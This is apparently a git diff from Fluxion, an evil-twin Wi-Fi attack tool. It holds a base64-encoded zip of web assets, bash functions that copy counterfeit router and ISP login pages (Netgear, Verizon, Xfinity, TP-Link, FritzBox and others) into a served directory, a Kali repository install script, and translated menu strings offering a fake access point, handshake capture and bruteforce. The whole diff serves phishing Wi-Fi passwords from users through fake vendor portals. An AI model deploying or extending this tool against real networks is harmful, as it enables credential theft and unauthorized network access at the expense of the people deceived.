-5iAimoKT2Rl1Iv1uu02FGbs18QLmxe3qEZDLt4KEeRphQptIl/UHqcpts2clxK7Zd/2KFpH3Ahab -yksDgAkwNbvd1lIVbA9z0/LxLHrkyXD4oOyUqJ7D3Vam82S3gsQCmbiMsso60Fts8OF4lEuhrrZQ -HNWobqn/HbCyLFbf/4OJaunIe1N6Ck6Vlmce8E7IK1I68787V0PEPdT5zRfzm0Nwk83ITXu+Ujs1 -oH2zuai6NFoqtTQUiECEthGcS6xIEIWSJ9dzmbFDnPqHLy5bLL621RwYtZbaamVcyNzNE93Xndrq -Do/JEqUmS8So0tGJYmJLXB9vwVRmLe2lSbqOlnaBqONEKUlz9/deAgJfWMyEY6ZLJoJBQMwzMiOg -bwcybJIXDOxEKuJzPBTu8nUuOI1P2nupjtGCn6FUianHHc+XjGYsuvSiuOgLOlym9JSgnRmJkQPb -77aeP5nL1GQorUocZlmqVrOrR+IAGPl8AsrK2YvlvxzL0X8mL5WcbtZj+Hz9WdsuGTeQ4DtJstjg -gi8m3fJSLWr0rsYNarrJ86LHFMCYF5/DyXpiQaSXOZLKkXgwRjV7OaTgdcF3P8RJiHZM8+ynSqWT -6V3cz4ZnvE4hWOBZ8gDe4VqXdgbrx6XwurqhsU0mdB2um+0GS7+jYC2+jPBnnwqDu28kMEufz/wz -0e8/ZjI1FYRmoo5hTcfUGPSp3JuSCdE3QJsaMvPFtxtK5+nDOVh1MB/qkp9tYPXVAO0/o0nBxc8/ -1Rlk4i6DRBkIYM2r5vkSw8oEOYzfMchqTjJfd5/G+Fh3jinEtaJcgy2gM36i1goiwHb8RV3/yMFX -ygk4fph6MlprGa+7DQEhmoPDKZxktwY2GUS3JDPRhw5ZcAceKpjxJYnu4iX9lCyiw8udizJp+2/x -+ipQ13Xqwmw1XNKQwro53iv4CxyJy131iEvkWunKzdON0WSzAb83ATGYpH2bo3QtlrF3md+TmHZw -zHw9JuJa+UeDzcGaJoTQT1mXNdGpLFjiab4jHti5vvbAA/WpLcMNc6UrRe5S77TN+9LX/nQm7jA5 -RiG/HxSgjFjBfz3D6B9BCaFutkhlWTA77yAYcm5YhzJY3NxM/N9/8Yfpk4B8OaPheXT9Xfz9/E83 -i5vbf/7n4dj+1y3BSW9uvrjEGEJzZAivLa/K09I3mHbB71z2RQzYC2GKeNFGyU1aDKUme+gS9FaT -eCT5pO4/R5PDIsdpkA2s6VwkvI4603WeSx+ZiaSYinXklMNp1NGCC30mBcDgsQTsK35ysyPOtvqa -KYWFZRwn7wV/8rskmWI33/2AJpCVKZH+ZhM/gdThlxghcvN+pP0jwxi0XgpLn9HpeJZP3cLoxJG5 -lZGpkF5oYKOXABjj1wulMNjtfLxLYMBP9KjVHR38pCwx3+UPnoGWSqU0GIVP8AsVKr/BMwuhXUw1 -TDxuXdtSXaw+qmd6uTI15UBWyRTd2A48RZEfzCfhkljVqCI6Z3oxscolLRL3bLq1d7OZPDMjqtj+ -2ILQIbTik1OgpNydEoIcHpjz7IwOtH53oWOGfnWg+YpuaH5J/rj/5q4ADBh6CAPTKMvmfIZptQVk -Hgydbxlsak+89xEnfkn6f50x+I21TCcktNS54x9JQ8nUUUL7BQHH41gXPZSbLMIvwtR97uRCF8Q7 -1RFdQkUnW8XXQXh6Ma/xMHxXokoahphRLpeB31XBufUM5lD5WvcayDNVfX6WbPaV38eje31XmPyR -0W1LzReJb5WsWZ8BdE+op2Rp/0H+YAPW7x/wD76IYv2D+KtfsTL/oB+wUVXgH9QvNqly+4P6FTnH -Cu8+UlYBAdYzdIkEyAtNcP/r2mQ4xSdZ318llrGmkVsfdAIkPo9Ih+bTuvHQuh6WAO4uD7sKscy6 -ZKQ9WcE8vq1IT+iYTg2h6eDnpAZSHSKs9WqpuS94bn9b6pgB+YXK+TYvjlv28Yg17ufSW0jRR8Fz -gffqx+O53LOjKEs9opOs4MDJFLHZG9EPrh/N6zfsjc7IyXwiOqLHI2qQbM6w8jiLEnmR4AuE/gQm -Qa2xSJUqdj+HHbntO7TqIoiu4iQEx8O6RkND68uKxrTPYGWpiPtR8DzI+lhSCAN8WcEXZOJ/GsDf -CUSEWbyUO54qhTXM64DTlWCxFggemu9BptPzs8vj1eWzb559+/TrZ98cv7p6dvXtt4qtFiD531qO -tbdtG/hXbK0zRFuyJefRRQ7NDhj2bcCAfpukDnomMbakiBsgaKT/vrsjRVGvNB6QIk0k6kRSx+Px -3otFk4bcNjoF7bHkPdGDHylt8ehn+99W/dMQVDtGSvPkjlPcfJgJoXdee3aSk5BC482P7MWt98Cb -cxlOjpfeZhpjPWpQtdfTdoPDMpDPEKNT5r7pC5upNU3DnNL9leutqgolLx7lF5foYlOysxIeDQiS -gJWiGpQcRUD9tCcKmtn1hkzINbyuOcHqUuC0uPZrqMkJ9Rd4cWCrNciGa9ALr0vMEgLYr8qaHsUV -jQtK1vH3phnTUazW9YmsIhe4NYOi7Sa0dHaU5Vh6l1ixyWtTyR1R95JXDdNSt4yZHRJj0l3SXbc7 -osdd2ynOWmZXNv2JZpywOxDFwPSa/JjFQz9623vG1XWrB4eo78bSt94kfYTR0YlXG+b0h87MQTMa -Tn1vuyf6aUrqBJgD9wD0Lhb6JnlGJK4JKTykpw4166ILsq29SZ6ZY/Ql8drpsWlq+pX3qnfF9AzA -7kiyrTOeYp5UjKOzeTtMBX3+A6SrtTXScdLxghOYDyPRDNIJjMQzrTmSrPIHcdIOs8DzdoTZkjwy -7nZLjY2YizyYAILtLj/5+myx6KyqKTPBFKa5YMooHZQmZAh//enrYkySccDG1ar2qIqH7K1R7PGg -nbQAINYxhifrFWyg8HdVREDXtBlo+1LS0+YH4sx7L0jbN5UIO6oHd1O2MWV68yVM3O+/un957tV6 -Tuam5SracPHlb7IxufHqUwsR2yJo79z4xXMu/dp4DqqXCKL1SW+w5QclD2D809PjCXOHzuUPVhc7 -iqr89pUFTESbaMNwIp9X8Bv+LJn4RFOzxRx++17lbz8SxDrKX3znrGYv8F89vbyK1tuL88q/2kZr -//KXHuCWAP2P8BChw0v4imob5dVZ6Ll+PAYdhD4ARbmo/CgHyG3o+TH+hQv3TL2CnQl6b1sjhHtO -IBdwdREz7KkBG/ZmwJ4DbCWxgmiOnjwv8d3oqYR/iHB3yZajD1Z6Gqe+t5x8MX7ZOjVja8FoIXK4 -vahpJcKN+CmmlfmgbXdMqlRvXf/5RgUGVyCLKxJC0/9vWPcoQQlNakfkB2tUtDfTFkz2vA6BlNzY -9gShvPJh3bYx67WG0BYiJpACgABMcpYaxUkU7QIRrCpXKBKCFgcugZZWandhQIEwB1F65QmftjJf -10fLgAkqXtWe+Uw0nCYYYUS70TEzGLPY87zGpOf3Hijf86Lu5H+/6zeBvAFs+xou/JgQ2VM8X1mG -ZI/BDpgH/uZXsj1P1MedNg5NM7nmGU0TFeAptNhZo+VL5QmUK+szwM+0rjp7uJ+1JeRm1qpYWVg/ -4f7h2+z49BVLI1IRhRseWqhCW04TTtoKmLd84KIrlDvOuUPn2PxWkueNjFWWUXJmpKGMMixfWZ70 -5xzOYa/WlQymvjjvdqJ1pLZMCp7MFPA+aaBq5LpCCyKT5ijKEsXLoT3LlLloJZqMQpS6UEEhgaFu -6lN0P0gpYX1EvCqzFHwgF6IYUlWWHMKiaFRVuU0ZRk3LIihSxQT2jICqjk17EoCjDnq3fngEZgZT -V7ZIPmipqtf7CYvY+SEEv2tanXyIg3yxIJNfXgNDAWJNpEZoFDxDrTBIgfOSfsho4v8gvd2KO7lq -gS2bblWGp5qT4QZAswpl0N9oFKDcmhySZ7tTRutfkCQDK0lhZ1kO7q9A0xbaKyhIDqeB3pXAOhxB -5aX74MbJZKx+UHZKLCr3rMFDmqgNXOgDT1CR96pKZg5jtsqu/BE6e6vkHIR9y8uujdsph2H6ZRNO -UxpRIhm2d15FPA4DOAlOWdg1ErFSVCfVkgK9Ec88qaqyb+zOtLG7MCOLU6DGtk9NLvxmbESvO2JO -BEEw/ICPWpcLDHdAizSC6BBihiXiZAagoxQypII/HwvpvBO9e7vD/I0zDYljpyiFkoyQdFCvhjVa -LPD3mh5iIUxcNqxkENgpl/0r4msrremebQs7su7uZ1I3Q7DGGstoEKBy28Lhp4BoapJTtBMsBEyt -pKmV5tRK2Apm3TUdXiofsmDiKXordv8BUEsDBBQAAAAIAK8QTUmZwBCuswAAAAUBAAAKAAAAanMv -bWFpbi5qcz2NMQvCMBCF5xb6H47qkEApiCASJxdnN+fQnjWYJnpNrCL57zaxurx7973j3ZKVC207 -ZQ6W+pLXD6lVKx2yd5Fn5DUOIrrsiq+VgGQzwrtXhK1w5LFKqFdGo+ncRWxnIJ8z2KwjCDBpqKIi -kaWjlg32aJyAszeNU9YAgxRVgDpFwL8PE62VGZDc/uyQ2O+ivkmaBuPAd7G/yEM0Rf7vbLQd8KRM -a0cGfKoDGNNWp4TF8/ABUEsBAh8ACgAAAAAARAJNSQAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAA -AAAAAGNzcy8KACAAAAAAAAEAGAAWyZQhziTSARbJlCHOJNIBJOxaQsUk0gFQSwECHwAUAAAACACy -uUxJ8qGcyENfAABpKgMAHwAkAAAAAAAAACAAAAAiAAAAY3NzL2pxdWVyeS5tb2JpbGUtMS40LjUu -bWluLmNzcwoAIAAAAAAAAQAYALoAGh7FJNIBtmsKHsUk0gEfhvgdxSTSAVBLAQIfABQAAAAIAFkF -TUkY9YJUGgAAABgAAAAMACQAAAAAAAAAIAAAAKJfAABjc3MvbWFpbi5jc3MKACAAAAAAAAEAGABz -TlSU0STSARbJlCHOJNIBCYKQIc4k0gFQSwECHwAKAAAAAABACk1JAAAAAAAAAAAAAAAAAwAkAAAA -AAAAABAAAADmXwAAanMvCgAgAAAAAAABABgA9nMBf9Yk0gH2cwF/1iTSAemGCT3FJNIBUEsBAh8A -FAAAAAgAeLtMSRaOXj0nFAAAR0UAABwAJAAAAAAAAAAgAAAAB2AAAGpzL2FkZGl0aW9uYWwtbWV0 -aG9kcy5taW4uanMKACAAAAAAAAEAGADPDusZxyTSAaFA5RnHJNIBoITVGcck0gFQSwECHwAUAAAA -CAC3uUxJhPlPgNWAAAAqdgEAFwAkAAAAAAAAACAAAABodAAAanMvanF1ZXJ5LTEuMTEuMS5taW4u -anMKACAAAAAAAAEAGADD91AjxSTSAZAxRyPFJNIBEZw3I8Uk0gFQSwECHwAUAAAACAC9uUxJ5sWw -KtfWAADPDQMAHQAkAAAAAAAAACAAAABy9QAAanMvanF1ZXJ5Lm1vYmlsZS0xLjQuNS5taW4uanMK -ACAAAAAAAAEAGAAwcn0qxSTSAYDrcCrFJNIBp91iKsUk0gFQSwECHwAUAAAACABuu0xJM5mwOVEc -AACgWAAAGQAkAAAAAAAAACAAAACEzAEAanMvanF1ZXJ5LnZhbGlkYXRlLm1pbi5qcwoAIAAAAAAA -AQAYAK5fkw3HJNIBCBKIDcck0gEK+DQNxyTSAVBLAQIfABQAAAAIAK8QTUmZwBCuswAAAAUBAAAK -ACQAAAAAAAAAIAAAAAzpAQBqcy9tYWluLmpzCgAgAAAAAAABABgAwGkPId0k0gFxv9MKziTSATNj -0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA==" | base64 -d > $DUMP_PATH/file.zip + source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device @@ -5602,159 +2456,93 @@ ACQAAAAAAAAAIAAAAAzpAQBqcy9tYWluLmpzCgAgAAAAAAABABgAwGkPId0k0gFxv9MKziTSATNj # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ARRIS-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data + } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/BELKIN-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data + } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/NETGEAR-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data + } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ARRIS-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/index.htm $DUMP_PATH/data -} + cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data +} function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/NETGEAR-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data + } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/Upgrade-TP-LINK/bootstrap.min.css $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/bootstrap.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/index.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/jquery.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/error.html $DUMP_PATH/data -} - -function TPLINK_ITA { -mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/bootstrap.min.css $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/bootstrap.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/index.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/jquery.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/error.html $DUMP_PATH/data + cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/VODAFONE-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device - cp -r $WORK_DIR/sites/Login-Verizon/Verizon_files $DUMP_PATH/data - cp $WORK_DIR/sites/Login-Verizon/Verizon.html $DUMP_PATH/data -} - -function XFINITY { - mkdir $DUMP_PATH/data &>$flux_output_device - cp -r $WORK_DIR/sites/Login-Xfinity/Xfinity_files $DUMP_PATH/data - cp $WORK_DIR/sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data + cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data + cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/HUAWEI-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/index.htm $DUMP_PATH/data -} + cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data + + } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ZIGGO_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/KPN_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ZIGGO2016_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/FRITZBOX_DE/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/FRITZBOX_ENG/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/GENEXIS_DE/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data + } + +function Login-Netgear { + mkdir $DUMP_PATH/data &>$flux_output_device + cp $WORK_DIR/Sites/Login-Netgear/* $DUMP_PATH/data + } + +function Login-Xfinity { + mkdir $DUMP_PATH/data &>$flux_output_device + cp $WORK_DIR/Sites/Login-Xfinity/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## diff --git a/add.py b/install/add.py similarity index 77% rename from add.py rename to install/add.py index d154788..745c4b5 100755 --- a/add.py +++ b/install/add.py @@ -6,7 +6,6 @@ commands = [ "apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6", "echo '# Kali linux repositories", "deb http://http.kali.org/kali kali-rolling main contrib non-free", - "deb http://repo.kali.org/kali kali-bleeding-edge main' >> /etc/apt/sources.list", "apt-get update -m" ] diff --git a/arch-install b/install/arch-install similarity index 100% rename from arch-install rename to install/arch-install diff --git a/install.sh b/install/install.sh similarity index 100% rename from install.sh rename to install/install.sh diff --git a/remove.py b/install/remove.py similarity index 100% rename from remove.py rename to install/remove.py diff --git a/language/bind b/language/bind new file mode 100644 index 0000000..2584807 --- /dev/null +++ b/language/bind @@ -0,0 +1,75 @@ + +#EN +source $WORK_DIR/sites/neutra/en + +#GER +source $WORK_DIR/sites/neutra/ger + +#ESP +source $WORK_DIR/sites/neutra/esp + +#IT +source $WORK_DIR/sites/neutra/it + +#FR +source $WORK_DIR/sites/neutra/fr + +#POR +source $WORK_DIR/sites/neutra/por + +#RUS +source $WORK_DIR/sites/neutra/rus + +#TR +source $WORK_DIR/sites/neutra/tr + +#RO +source $WORK_DIR/sites/neutra/ro + +#HU +source $WORK_DIR/sites/neutra/hu + +#ARA +source $WORK_DIR/sites/neutra/ara + +#CN +source $WORK_DIR/sites/neutra/cn + +#GR +source $WORK_DIR/sites/neutra/gr + +#CZ +source $WORK_DIR/sites/neutra/cz + +#NO +source $WORK_DIR/sites/neutra/no + +#BG +source $WORK_DIR/sites/neutra/bg + +#SRB +source $WORK_DIR/sites/neutra/srb + +#PL +source $WORK_DIR/sites/neutra/pl + +#ID +source $WORK_DIR/sites/neutra/id + +#NL +source $WORK_DIR/sites/neutra/nl + +#DAN +source $WORK_DIR/sites/neutra/dan + +#TH +source $WORK_DIR/sites/neutra/th + +#HE +source $WORK_DIR/sites/neutra/he + +#Portuguese +source $WORK_DIR/sites/neutra/por + +# SVN +source $WORK_DIR/sites/neutra/svn \ No newline at end of file diff --git a/language/ch b/language/ch new file mode 100644 index 0000000..0f667ef --- /dev/null +++ b/language/ch @@ -0,0 +1,41 @@ +setinterface_error="没有检测到网卡 退出..." + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="选择信道" + choosescan_option_1="所有信道 " + choosescan_option_2="指定信道" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="单一信道" + scanchan_option_2="多个信道" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="正在扫描目标" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="选择攻击选项" + askAP_option_1="伪装AP - Hostapd ("$red"推荐)" + askAP_option_4="暴力破解 - (需要握手包)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="请选择验证密码方式" + askauth_option_2="提供的wpa (易错)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="握手包检查" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*抓握手包*" + deauthMENU_option_1="检查握手包" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="请选择" + header_ConnectionRESET="选择登陆界面" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="返回" + general_error_1="未找到" + general_case_error="未知选项. 请再次选择" + general_exitmode="清理并退出" + general_exitmode_3="关闭 "$grey"forwarding of packets" + general_exitmode_4="清理 "$grey"iptables" + general_exitmode_5="恢复 "$grey"tput" + general_exitmode_6="重启 "$grey"Network-Manager" + general_exitmode_7="清理完成!" + general_exitmode_8="感谢使用fluxion!" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="活动的客户端" + selection_2="选择一个目标. 重扫 按$red r$transparent" diff --git a/language/cz b/language/cz new file mode 100644 index 0000000..af22ea6 --- /dev/null +++ b/language/cz @@ -0,0 +1,48 @@ +header_setinterface="Vyberte rozhraní" + setinterface_error="Žádná síťová rozhraní, zavíraní..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Vyberte kanál" + choosescan_option_1="Všechny kanály" + choosescan_option_2="Specifický kanál(y)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Jeden kanál" + scanchan_option_2="Více kanálů" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="Sledování WIFI" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Skenování cíle" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Vyberte metodu útočení" + askAP_option_1="FakeAP - Hostapd ("$red"Doporučeno)" + askAP_option_2="FakeAP - airbase-ng (Pomalejší připojení)" + askAP_option_4="Bruteforce - (Potřebný Handshake)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHODA ZÍSKÁNÍ HESLA" + askauth_option_1="Handshake ("$red"Doporučeno)" + askauth_option_2="Wpa_supplicant(Více chyb)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Potvrzení Handshaku" + deauthforce_option_1="aircrack-ng (Minutí šance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Nahrát Handshake*" + deauthMENU_option_1="Zkontrolovat handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Vyberte" + header_ConnectionRESET="Vyberte přihlašovací stránku" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Zpět" + general_error_1="Nenalezeno" + general_case_error="Neznámý výběr. Vyberte znovu" + general_exitmode="Čištění a zavírání" + general_exitmode_1="Vypínání monitorovacího rozhraní" + general_exitmode_2="Vypínání rozhraní" + general_exitmode_3="Vypínání "$grey"směrování packetů" + general_exitmode_4="Čištění "$grey"iptables" + general_exitmode_5="Obnovování "$grey"tput" + general_exitmode_6="Restartování "$grey"Network-Manager" + 